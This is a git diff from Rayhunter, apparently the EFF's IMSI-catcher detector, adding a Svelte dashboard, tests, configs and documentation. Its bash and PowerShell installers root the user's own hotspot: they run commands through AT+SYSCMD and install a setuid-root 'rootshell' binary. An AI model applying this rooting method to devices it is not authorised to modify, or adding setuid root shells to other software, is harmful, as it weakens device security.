||||||
|
<div>
|
||||||
|
{#if waiting_for_server}
|
||||||
|
<button class={server_is_recording ? stop_recording_classes : start_recording_classes}>
|
||||||
|
{server_is_recording ? "Stopping..." : "Starting..."}
|
||||||
|
</button>
|
||||||
|
{:else if server_is_recording}
|
||||||
|
<button class={stop_recording_classes} onclick={stop_recording}>Stop Recording</button>
|
||||||
|
{:else}
|
||||||
|
<button class={start_recording_classes} onclick={start_recording}>Start Recording</button>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
</style>
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { type SystemStats } from "$lib/systemStats";
|
||||||
|
let { stats }: {
|
||||||
|
stats: SystemStats;
|
||||||
|
} = $props();
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<p class="text-xl">System Stats</p>
|
||||||
|
<table class="table-auto border">
|
||||||
|
<tbody>
|
||||||
|
<tr class="border">
|
||||||
|
<th class="border">
|
||||||
|
Rayhunter version
|
||||||
|
</th>
|
||||||
|
<td class="border">{stats.runtime_metadata.rayhunter_version}</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="border">
|
||||||
|
<th class="border">
|
||||||
|
Storage
|
||||||
|
</th>
|
||||||
|
<td class="border">
|
||||||
|
{stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} / {stats.disk_stats.available_size})
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="border-b">
|
||||||
|
<th class="border">
|
||||||
|
Memory (RAM)
|
||||||
|
</th>
|
||||||
|
<td class="border">
|
||||||
|
Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
// place files you want to import through the `$lib` alias in this folder.
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
import { get_report, type AnalysisReport } from "./analysis.svelte";
|
||||||
|
import { AnalysisStatus, type AnalysisManager } from "./analysisManager.svelte";
|
||||||
|
|
||||||
|
interface JsonManifest {
|
||||||
|
entries: JsonManifestEntry[];
|
||||||
|
current_entry: JsonManifestEntry | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface JsonManifestEntry {
|
||||||
|
name: string;
|
||||||
|
start_time: string;
|
||||||
|
last_message_time: string;
|
||||||
|
qmdl_size_bytes: number;
|
||||||
|
analysis_size_bytes: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export class Manifest {
|
||||||
|
public entries: ManifestEntry[] = [];
|
||||||
|
public current_entry: ManifestEntry | undefined;
|
||||||
|
|
||||||
|
constructor(json: JsonManifest) {
|
||||||
|
for (let entry of json.entries) {
|
||||||
|
this.entries.push(new ManifestEntry(entry));
|
||||||
|
}
|
||||||
|
if (json.current_entry !== null) {
|
||||||
|
this.current_entry = new ManifestEntry(json['current_entry']);
|
||||||
|
}
|
||||||
|
|
||||||
|
// sort entries in reverse chronological order
|
||||||
|
this.entries.reverse();
|
||||||
|
}
|
||||||
|
|
||||||
|
async set_analysis_status(manager: AnalysisManager) {
|
||||||
|
for (let entry of this.entries) {
|
||||||
|
entry.analysis_status = manager.status.get(entry.name);
|
||||||
|
entry.analysis_report = manager.reports.get(entry.name);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this.current_entry) {
|
||||||
|
try {
|
||||||
|
this.current_entry.analysis_report = await get_report(this.current_entry.name);
|
||||||
|
} catch(err) {
|
||||||
|
this.current_entry.analysis_report = `Err: failed to get analysis report: ${err}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
// the current entry should always be considered "finished", as its
|
||||||
|
// analysis report is always available
|
||||||
|
this.current_entry.analysis_status = AnalysisStatus.Finished;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export class ManifestEntry {
|
||||||
|
public name = $state("");
|
||||||
|
public start_time: Date;
|
||||||
|
public last_message_time: Date | undefined = $state(undefined);
|
||||||
|
public qmdl_size_bytes = $state(0);
|
||||||
|
public analysis_size_bytes = $state(0);
|
||||||
|
public analysis_status: AnalysisStatus | undefined = $state(undefined);
|
||||||
|
public analysis_report: AnalysisReport | string | undefined = $state(undefined);
|
||||||
|
|
||||||
|
constructor(json: JsonManifestEntry) {
|
||||||
|
this.name = json.name;
|
||||||
|
this.qmdl_size_bytes = json.qmdl_size_bytes;
|
||||||
|
this.analysis_size_bytes = json.analysis_size_bytes;
|
||||||
|
this.start_time = new Date(json.start_time);
|
||||||
|
if (json.last_message_time !== undefined) {
|
||||||
|
this.last_message_time = new Date(json.last_message_time);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
get_num_warnings(): number | undefined {
|
||||||
|
if (this.analysis_report === undefined || typeof(this.analysis_report) === 'string') {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
return this.analysis_report.statistics.num_warnings;
|
||||||
|
}
|
||||||
|
|
||||||
|
get_pcap_url(): string {
|
||||||
|
return `/api/pcap/${this.name}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
get_qmdl_url(): string {
|
||||||
|
return `/api/qmdl/${this.name}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
get_analysis_report_url(): string {
|
||||||
|
return `/api/analysis-report/${this.name}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
get_delete_url(): string {
|
||||||
|
return `/api/delete-recording/${this.name}`;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { parse_ndjson } from './ndjson';
|
||||||
|
|
||||||
|
describe('parsing newline-deliminated json', () => {
|
||||||
|
it('parses normal JSON', () => {
|
||||||
|
const json = JSON.stringify({ foo: 100 });
|
||||||
|
const result = parse_ndjson(json);
|
||||||
|
expect(result).toHaveLength(1);
|
||||||
|
expect(result[0]).toEqual({ foo: 100 });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('parses simple newline-deliminated json', () => {
|
||||||
|
const json_a = JSON.stringify({ a: 100 });
|
||||||
|
const json_b = JSON.stringify({ b: 200 });
|
||||||
|
const result = parse_ndjson(`${json_a}\n${json_b}`);
|
||||||
|
expect(result).toHaveLength(2);
|
||||||
|
expect(result[0]).toEqual({ a: 100 });
|
||||||
|
expect(result[1]).toEqual({ b: 200 });
|
||||||
|
})
|
||||||
|
|
||||||
|
it('parses newline-deliminated json with escaped newlines within', () => {
|
||||||
|
const json_a = JSON.stringify({ a: 'this one has\n newlines and\nstuff' });
|
||||||
|
const json_b = JSON.stringify({ b: 200 });
|
||||||
|
const result = parse_ndjson(`${json_a}\n${json_b}`);
|
||||||
|
expect(result).toHaveLength(2);
|
||||||
|
expect(result[0]).toEqual({ a: 'this one has\n newlines and\nstuff' });
|
||||||
|
expect(result[1]).toEqual({ b: 200 });
|
||||||
|
})
|
||||||
|
|
||||||
|
it('actually errors out on invalid ndjson', () => {
|
||||||
|
expect(() => parse_ndjson("invalid\njson")).toThrow();
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
export type NewlineDeliminatedJson = any[];
|
||||||
|
|
||||||
|
export function parse_ndjson(input: string): NewlineDeliminatedJson {
|
||||||
|
const lines = input.split('\n');
|
||||||
|
const result = [];
|
||||||
|
let current_line = '';
|
||||||
|
while (lines.length > 0) {
|
||||||
|
current_line += lines.shift();
|
||||||
|
if (current_line.length === 0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const entry = JSON.parse(current_line);
|
||||||
|
result.push(entry);
|
||||||
|
current_line = '';
|
||||||
|
} catch (e) {
|
||||||
|
// if this chunk wasn't valid JSON, assume there was an escaped
|
||||||
|
// newline in the JSON line, so simply continue to the next one.
|
||||||
|
// however, if we've reached the end of the input, that means we
|
||||||
|
// were given invalid nd-json
|
||||||
|
if (lines.length === 0) {
|
||||||
|
throw new Error(`unable to parse invalid nd-json: ${e}, "${current_line}"`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
export interface SystemStats {
|
||||||
|
disk_stats: DiskStats;
|
||||||
|
memory_stats: MemoryStats;
|
||||||
|
runtime_metadata: RuntimeMetadata;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface RuntimeMetadata {
|
||||||
|
rayhunter_version: string,
|
||||||
|
system_os: string,
|
||||||
|
arch: string,
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface DiskStats {
|
||||||
|
partition: string,
|
||||||
|
total_size: string,
|
||||||
|
used_size: string,
|
||||||
|
available_size: string,
|
||||||
|
used_percent: string,
|
||||||
|
mounted_on: string,
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface MemoryStats {
|
||||||
|
total: string,
|
||||||
|
used: string,
|
||||||
|
free: string,
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
import { Manifest } from "./manifest.svelte";
|
||||||
|
import type { SystemStats } from "./systemStats";
|
||||||
|
|
||||||
|
export async function req(method: string, url: string): Promise<string> {
|
||||||
|
const response = await fetch(url, {
|
||||||
|
method: method,
|
||||||
|
});
|
||||||
|
const body = await response.text();
|
||||||
|
if (response.status >= 200 && response.status < 300) {
|
||||||
|
return body;
|
||||||
|
} else {
|
||||||
|
throw new Error(body);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function get_manifest(): Promise<Manifest> {
|
||||||
|
const manifest_json = JSON.parse(await req('GET', '/api/qmdl-manifest'));
|
||||||
|
return new Manifest(manifest_json);
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function get_system_stats(): Promise<SystemStats> {
|
||||||
|
return JSON.parse(await req('GET', '/api/system-stats'));
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
export const prerender = true;
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import '../app.css';
|
||||||
|
let { children } = $props();
|
||||||
|
</script>
|
||||||
|
|
||||||
|
{@render children()}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
<script lang="ts">
|
||||||
|
import { ManifestEntry } from "$lib/manifest.svelte";
|
||||||
|
import { get_manifest, get_system_stats } from "$lib/utils.svelte";
|
||||||
|
import ManifestTable from "$lib/components/ManifestTable.svelte";
|
||||||
|
import type { SystemStats } from "$lib/systemStats";
|
||||||
|
import { AnalysisManager } from "$lib/analysisManager.svelte";
|
||||||
|
import SystemStatsTable from "$lib/components/SystemStatsTable.svelte";
|
||||||
|
import ControlBar from "$lib/components/ControlBar.svelte";
|
||||||
|
|
||||||
|
let manager: AnalysisManager = new AnalysisManager();
|
||||||
|
let loaded = $state(false);
|
||||||
|
let recording = $state(false);
|
||||||
|
let entries: ManifestEntry[] = $state([]);
|
||||||
|
let current_entry: ManifestEntry | undefined = $state(undefined);
|
||||||
|
let system_stats: SystemStats | undefined = $state(undefined);
|
||||||
|
$effect(() => {
|
||||||
|
const interval = setInterval(async () => {
|
||||||
|
await manager.update();
|
||||||
|
let new_manifest = await get_manifest();
|
||||||
|
await new_manifest.set_analysis_status(manager);
|
||||||
|
entries = new_manifest.entries;
|
||||||
|
current_entry = new_manifest.current_entry;
|
||||||
|
recording = current_entry !== undefined;
|
||||||
|
|
||||||
|
system_stats = await get_system_stats();
|
||||||
|
loaded = true;
|
||||||
|
}, 1000);
|
||||||
|
|
||||||
|
return () => clearInterval(interval);
|
||||||
|
})
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<h1 class="ml-8 mt-8 text-4xl font-extrabold">Rayhunter Dashboard</h1>
|
||||||
|
<div class="p-8 flex flex-col gap-2">
|
||||||
|
{#if loaded}
|
||||||
|
<ControlBar server_is_recording={recording} />
|
||||||
|
<SystemStatsTable stats={system_stats!} />
|
||||||
|
<ManifestTable entries={entries} current_entry={current_entry} />
|
||||||
|
{:else}
|
||||||
|
<p>Loading...</p>
|
||||||
|
{/if}
|
||||||
|
</div>
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 1.2 KiB |
Vendored
+4
File diff suppressed because one or more lines are too long
@@ -0,0 +1,15 @@
|
|||||||
|
import adapter from '@sveltejs/adapter-static';
|
||||||
|
|
||||||
|
export default {
|
||||||
|
kit: {
|
||||||
|
adapter: adapter({
|
||||||
|
// default options are shown. On some platforms
|
||||||
|
// these options are set automatically — see below
|
||||||
|
pages: 'build',
|
||||||
|
assets: 'build',
|
||||||
|
fallback: undefined,
|
||||||
|
precompress: false,
|
||||||
|
strict: true
|
||||||
|
})
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
import type { Config } from 'tailwindcss';
|
||||||
|
|
||||||
|
export default {
|
||||||
|
content: ['./src/**/*.{html,js,svelte,ts}'],
|
||||||
|
|
||||||
|
theme: {
|
||||||
|
extend: {
|
||||||
|
colors: {
|
||||||
|
'rayhunter-blue': '#4e4eb1',
|
||||||
|
'rayhunter-dark-blue': '#3f3da0',
|
||||||
|
'rayhunter-green': '#94ea18'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
plugins: []
|
||||||
|
} as Config;
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
{
|
||||||
|
"extends": "./.svelte-kit/tsconfig.json",
|
||||||
|
"compilerOptions": {
|
||||||
|
"allowJs": true,
|
||||||
|
"checkJs": true,
|
||||||
|
"esModuleInterop": true,
|
||||||
|
"forceConsistentCasingInFileNames": true,
|
||||||
|
"resolveJsonModule": true,
|
||||||
|
"skipLibCheck": true,
|
||||||
|
"sourceMap": true,
|
||||||
|
"strict": true,
|
||||||
|
"moduleResolution": "bundler"
|
||||||
|
}
|
||||||
|
// Path aliases are handled by https://svelte.dev/docs/kit/configuration#alias
|
||||||
|
// except $lib which is handled by https://svelte.dev/docs/kit/configuration#files
|
||||||
|
//
|
||||||
|
// If you want to overwrite includes/excludes, make sure to copy over the relevant includes/excludes
|
||||||
|
// from the referenced tsconfig.json - TypeScript does not merge them in
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import { defineConfig } from "vitest/config";
|
||||||
|
import { sveltekit } from '@sveltejs/kit/vite';
|
||||||
|
|
||||||
|
export default defineConfig({
|
||||||
|
server: {
|
||||||
|
proxy: {
|
||||||
|
'/api': {
|
||||||
|
target: 'http://localhost:8080',
|
||||||
|
changeOrigin: true,
|
||||||
|
secure: false,
|
||||||
|
configure: (proxy, _options) => {
|
||||||
|
proxy.on('error', (err, _req, _res) => {
|
||||||
|
console.log('proxy err:', err);
|
||||||
|
});
|
||||||
|
proxy.on('proxyReq', (proxyReq, req, _res) => {
|
||||||
|
console.log('Sending Request to the Target:', req.method, req.url);
|
||||||
|
});
|
||||||
|
proxy.on('proxyRes', (proxyRes, req, _res) => {
|
||||||
|
console.log('Received Response from the Target:', proxyRes.statusCode, req.url);
|
||||||
|
});
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
plugins: [sveltekit()],
|
||||||
|
|
||||||
|
test: {
|
||||||
|
include: ['src/**/*.{test,spec}.{js,ts}']
|
||||||
|
}
|
||||||
|
});
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
[book]
|
||||||
|
authors = ["The Rayhunter Team"]
|
||||||
|
language = "en"
|
||||||
|
src = "doc"
|
||||||
|
title = "Rayhunter - An IMSI Catcher Catcher"
|
||||||
Vendored
-1
@@ -1 +0,0 @@
|
|||||||
ECHO TODO
|
|
||||||
Vendored
-142
@@ -1,142 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
set -e
|
|
||||||
|
|
||||||
force_debug_mode() {
|
|
||||||
echo "Using adb at $ADB"
|
|
||||||
echo "Force a switch into the debug mode to enable ADB"
|
|
||||||
"$SERIAL_PATH" --root
|
|
||||||
echo -n "adb enabled, waiting for reboot..."
|
|
||||||
wait_for_adb_shell
|
|
||||||
echo " it's alive!"
|
|
||||||
echo -n "waiting for atfwd_daemon to startup..."
|
|
||||||
wait_for_atfwd_daemon
|
|
||||||
echo " done!"
|
|
||||||
}
|
|
||||||
|
|
||||||
wait_for_atfwd_daemon() {
|
|
||||||
until [ -n "$(_adb_shell 'pgrep atfwd_daemon')" ]
|
|
||||||
do
|
|
||||||
sleep 1
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
wait_for_adb_shell() {
|
|
||||||
until _adb_shell true 2> /dev/null
|
|
||||||
do
|
|
||||||
sleep 1
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
setup_rootshell() {
|
|
||||||
_adb_push rootshell /tmp/
|
|
||||||
_at_syscmd "cp /tmp/rootshell /bin/rootshell"
|
|
||||||
sleep 1
|
|
||||||
_at_syscmd "chown root /bin/rootshell"
|
|
||||||
sleep 1
|
|
||||||
_at_syscmd "chmod 4755 /bin/rootshell"
|
|
||||||
_adb_shell '/bin/rootshell -c id'
|
|
||||||
echo "we have root!"
|
|
||||||
}
|
|
||||||
|
|
||||||
_adb_push() {
|
|
||||||
"$ADB" push "$(dirname "$0")/$1" "$2"
|
|
||||||
}
|
|
||||||
|
|
||||||
_adb_shell() {
|
|
||||||
"$ADB" shell "$1"
|
|
||||||
}
|
|
||||||
|
|
||||||
_at_syscmd() {
|
|
||||||
"$SERIAL_PATH" "AT+SYSCMD=$1"
|
|
||||||
}
|
|
||||||
|
|
||||||
setup_rayhunter() {
|
|
||||||
_at_syscmd "mkdir -p /data/rayhunter"
|
|
||||||
_adb_push config.toml.example /tmp/config.toml
|
|
||||||
_at_syscmd "mv /tmp/config.toml /data/rayhunter"
|
|
||||||
_adb_push rayhunter-daemon-orbic/rayhunter-daemon /tmp/rayhunter-daemon
|
|
||||||
_at_syscmd "mv /tmp/rayhunter-daemon /data/rayhunter"
|
|
||||||
_adb_push scripts/rayhunter_daemon /tmp/rayhunter_daemon
|
|
||||||
_at_syscmd "mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon"
|
|
||||||
_adb_push scripts/misc-daemon /tmp/misc-daemon
|
|
||||||
_at_syscmd "mv /tmp/misc-daemon /etc/init.d/misc-daemon"
|
|
||||||
|
|
||||||
_at_syscmd "chmod 755 /etc/init.d/rayhunter_daemon"
|
|
||||||
_at_syscmd "chmod 755 /etc/init.d/misc-daemon"
|
|
||||||
|
|
||||||
echo -n "waiting for reboot..."
|
|
||||||
_at_syscmd "shutdown -r -t 1 now"
|
|
||||||
|
|
||||||
# first wait for shutdown (it can take ~10s)
|
|
||||||
until ! _adb_shell true 2> /dev/null
|
|
||||||
do
|
|
||||||
sleep 1
|
|
||||||
done
|
|
||||||
|
|
||||||
# now wait for boot to finish
|
|
||||||
wait_for_adb_shell
|
|
||||||
|
|
||||||
echo " done!"
|
|
||||||
}
|
|
||||||
|
|
||||||
test_rayhunter() {
|
|
||||||
URL="http://localhost:8080"
|
|
||||||
"$ADB" forward tcp:8080 tcp:8080 > /dev/null
|
|
||||||
echo -n "checking for rayhunter server..."
|
|
||||||
|
|
||||||
SECONDS=0
|
|
||||||
while (( SECONDS < 30 )); do
|
|
||||||
if curl -L --fail-with-body "$URL" -o /dev/null -s; then
|
|
||||||
echo "success!"
|
|
||||||
echo "you can access rayhunter at $URL"
|
|
||||||
return
|
|
||||||
fi
|
|
||||||
sleep 1
|
|
||||||
done
|
|
||||||
echo "timeout reached! failed to reach rayhunter url $URL, something went wrong :("
|
|
||||||
}
|
|
||||||
|
|
||||||
##### ##### #####
|
|
||||||
##### Main #####
|
|
||||||
##### ##### #####
|
|
||||||
if [[ `uname -s` == "Linux" ]]; then
|
|
||||||
if [[ `uname -m` == "arm64" ]]; then
|
|
||||||
export SERIAL_PATH="./serial-ubuntu-24-aarch64/serial"
|
|
||||||
elif [[ `uname -m` == "x86_64" ]]; then
|
|
||||||
export SERIAL_PATH="./serial-ubuntu-24/serial"
|
|
||||||
fi
|
|
||||||
export PLATFORM_TOOLS="platform-tools-latest-linux.zip"
|
|
||||||
elif [[ `uname -s` == "Darwin" ]]; then
|
|
||||||
if [[ `uname -m` == "arm64" ]]; then
|
|
||||||
export SERIAL_PATH="./serial-macos-arm/serial"
|
|
||||||
elif [[ `uname -m` == "x86_64" ]]; then
|
|
||||||
export SERIAL_PATH="./serial-macos-intel/serial"
|
|
||||||
fi
|
|
||||||
export PLATFORM_TOOLS="platform-tools-latest-darwin.zip"
|
|
||||||
# if we've already deleted this attribute, xattr errors out
|
|
||||||
xattr -d com.apple.quarantine "$SERIAL_PATH" || echo
|
|
||||||
else
|
|
||||||
echo "This script only supports Linux or macOS"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ ! -x "$SERIAL_PATH" ]; then
|
|
||||||
echo "The serial binary cannot be found at $SERIAL_PATH. If you are running this from the git tree please instead run it from the latest release bundle https://github.com/EFForg/rayhunter/releases"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
if ! command -v adb &> /dev/null; then
|
|
||||||
if [ ! -d ./platform-tools ] ; then
|
|
||||||
echo "adb not found, downloading local copy"
|
|
||||||
curl -O "https://dl.google.com/android/repository/${PLATFORM_TOOLS}"
|
|
||||||
unzip $PLATFORM_TOOLS
|
|
||||||
fi
|
|
||||||
export ADB="./platform-tools/adb"
|
|
||||||
else
|
|
||||||
export ADB=`which adb`
|
|
||||||
fi
|
|
||||||
|
|
||||||
force_debug_mode
|
|
||||||
setup_rootshell
|
|
||||||
setup_rayhunter
|
|
||||||
test_rayhunter
|
|
||||||
Vendored
+2
@@ -5,6 +5,8 @@ set -e
|
|||||||
case "$1" in
|
case "$1" in
|
||||||
start)
|
start)
|
||||||
echo -n "Starting rayhunter: "
|
echo -n "Starting rayhunter: "
|
||||||
|
# Below line may be replaced by the installer with device-specific startup commands, such as mounting the SD card.
|
||||||
|
#RAYHUNTER-PRESTART
|
||||||
start-stop-daemon -S -b --make-pidfile --pidfile /tmp/rayhunter.pid \
|
start-stop-daemon -S -b --make-pidfile --pidfile /tmp/rayhunter.pid \
|
||||||
--startas /bin/sh -- -c "RUST_LOG=info exec /data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml > /data/rayhunter/rayhunter.log 2>&1"
|
--startas /bin/sh -- -c "RUST_LOG=info exec /data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml > /data/rayhunter/rayhunter.log 2>&1"
|
||||||
echo "done"
|
echo "done"
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
# Summary
|
||||||
|
|
||||||
|
[Introduction](./introduction.md)
|
||||||
|
- [Installation](./installation.md)
|
||||||
|
- [Installing from the latest release](./installing-from-release.md)
|
||||||
|
- [Installing from the latest release (Windows)](./installing-from-release-windows.md)
|
||||||
|
- [Installing from source](./installing-from-source.md)
|
||||||
|
- [Updating Rayhunter](./updating-rayhunter.md)
|
||||||
|
- [Uninstalling](./uninstalling.md)
|
||||||
|
- [Using Rayhunter](./using-rayhunter.md)
|
||||||
|
- [Rayhunter's heuristics](./heuristics.md)
|
||||||
|
- [How we analyze a capture](./analyzing-a-capture.md)
|
||||||
|
- [Supported devices](./supported-devices.md)
|
||||||
|
- [TP-Link M7350](./tplink-m7350.md)
|
||||||
|
- [Orbic RC400L](./orbic.md)
|
||||||
|
- [Support, feedback, and community](./support-feedback-community.md)
|
||||||
|
- [Frequently Asked Questions](./faq.md)
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
# How we analyze a capture
|
||||||
|
|
||||||
|
TODO
|
||||||
+20
@@ -0,0 +1,20 @@
|
|||||||
|
# Frequently Asked Questions
|
||||||
|
|
||||||
|
### Do I need an active SIM card to use Rayhunter?
|
||||||
|
|
||||||
|
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but whether that SIM card has to be currently active for our tests to work is still under investigation. If you want to use the device as a hotspot in addition to a research device an active plan would of course be necessary, however we have not done enough testing yet to know whether an active subscription is required for detection. If you want to test the device with an inactive SIM card, we would certainly be interested in seeing any data you collect, and especially any runs that trigger an alert!
|
||||||
|
|
||||||
|
<a name="red"></a>
|
||||||
|
|
||||||
|
### Help, Rayhunter's line is red! What should I do?
|
||||||
|
|
||||||
|
Unfortunately, the circumstances that might lead to a positive cell site simulator (CSS) signal are quite varied, so we don't have a universal recommendation for how to deal with the a positive signal. Depending on your circumstances and threat model, you may want to turn off your phone until you are out of the area (or put it on airplane mode) and tell your friends to do the same!
|
||||||
|
|
||||||
|
If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
|
||||||
|
|
||||||
|
Please note that this file may contain sensitive information such as your IMSI and the unique IDs of cell towers you were near which could be used to ascertain your location at the time.
|
||||||
|
|
||||||
|
|
||||||
|
### Should I get a locked or unlocked orbic device? What is the difference?
|
||||||
|
|
||||||
|
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
# Heuristics
|
||||||
|
|
||||||
|
TODO
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
# Installing Rayhunter
|
||||||
|
|
||||||
|
So, you've got one of the [supported devices](./supported-devices.md), and are ready to start catching IMSI catchers. You have two options for installing Rayhunter:
|
||||||
|
|
||||||
|
* [installing from a release (recommended)](./installing-from-release.md)
|
||||||
|
* [installing from a release on Windows](./installing-from-release-windows.md)
|
||||||
|
* [installing from source](./installing-from-source.md)
|
||||||
@@ -0,0 +1,139 @@
|
|||||||
|
# Installing from the latest release (Windows)
|
||||||
|
|
||||||
|
1. Install the [Zadig WinUSB driver](https://zadig.akeo.ie/).
|
||||||
|
2. Download the latest `release.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases).
|
||||||
|
3. Unzip `release.zip`.
|
||||||
|
4. Save the `install.ps1` file below in the same directory as `install.sh`.
|
||||||
|
5. Run the install script by double clicking on `install.ps1`. A powershell window will launch.
|
||||||
|
The device will restart multiple times over the next few minutes.
|
||||||
|
You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
|
||||||
|
6. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](#usage-viewing-the-web-ui). You should also see a green line flash along the top of top the display on the device.
|
||||||
|
|
||||||
|
# `install.ps1`
|
||||||
|
```powershell
|
||||||
|
|
||||||
|
$global:adb = "./platform-tools-latest-windows/platform-tools/adb.exe"
|
||||||
|
$global:serial = "./serial-windows-x86_64/serial.exe"
|
||||||
|
|
||||||
|
function _adb_push {
|
||||||
|
$proc = start-process -passthru -wait $global:adb -argumentlist "push", $args[0], $args[1]
|
||||||
|
if ($proc.exitcode -ne 0) {
|
||||||
|
write-host "push exited with exit code $($proc.exitcode)"
|
||||||
|
}
|
||||||
|
return $proc.exitcode
|
||||||
|
}
|
||||||
|
|
||||||
|
function _adb_shell {
|
||||||
|
$proc = start-process -passthru -wait $global:adb -argumentlist "shell", $args[0]
|
||||||
|
if ($proc.exitcode -ne 0) {
|
||||||
|
write-host "shell exited with exit code $($proc.exitcode)"
|
||||||
|
}
|
||||||
|
return $proc.exitcode
|
||||||
|
}
|
||||||
|
|
||||||
|
function _wait_for_adb_shell {
|
||||||
|
do {
|
||||||
|
start-sleep -seconds 1
|
||||||
|
} until ((_adb_shell "cat /etc/ver.conf") -eq 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
function _wait_for_atfwd_daemon {
|
||||||
|
do {
|
||||||
|
start-sleep -seconds 1
|
||||||
|
} until ((_adb_shell "pgrep atfwd_daemon") -eq 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
function force_debug_mode {
|
||||||
|
write-host "Using adb at $($global:adb)"
|
||||||
|
write-host "Forcing a switch into debug mode to enable ADB"
|
||||||
|
&$global:serial "--root" | Out-Host
|
||||||
|
write-host "adb enabled, waiting for reboot..." -nonewline
|
||||||
|
_wait_for_adb_shell
|
||||||
|
write-host " it's alive!"
|
||||||
|
write-host "waiting for atfwd_daemon to start ..." -nonewline
|
||||||
|
_wait_for_atfwd_daemon
|
||||||
|
write-host " done!"
|
||||||
|
}
|
||||||
|
|
||||||
|
function setup_rootshell {
|
||||||
|
_adb_push "rootshell" "/tmp"
|
||||||
|
write-host "cp..."
|
||||||
|
&$global:serial "AT+SYSCMD=cp /tmp/rootshell /bin/rootshell" | Out-Host
|
||||||
|
start-sleep -seconds 1
|
||||||
|
write-host "chown..."
|
||||||
|
&$global:serial "AT+SYSCMD=chown root /bin/rootshell" | Out-Host
|
||||||
|
start-sleep -seconds 1
|
||||||
|
write-host "chmod..."
|
||||||
|
&$global:serial "AT+SYSCMD=chmod 4755 /bin/rootshell" | Out-Host
|
||||||
|
start-sleep -seconds 1
|
||||||
|
_adb_shell '/bin/rootshell -c id'
|
||||||
|
write-host "we have root!"
|
||||||
|
}
|
||||||
|
|
||||||
|
function setup_rayhunter {
|
||||||
|
&$global:serial "AT+SYSCMD=mkdir -p /data/rayhunter" | Out-Host
|
||||||
|
_adb_push "config.toml.example" "/tmp/config.toml"
|
||||||
|
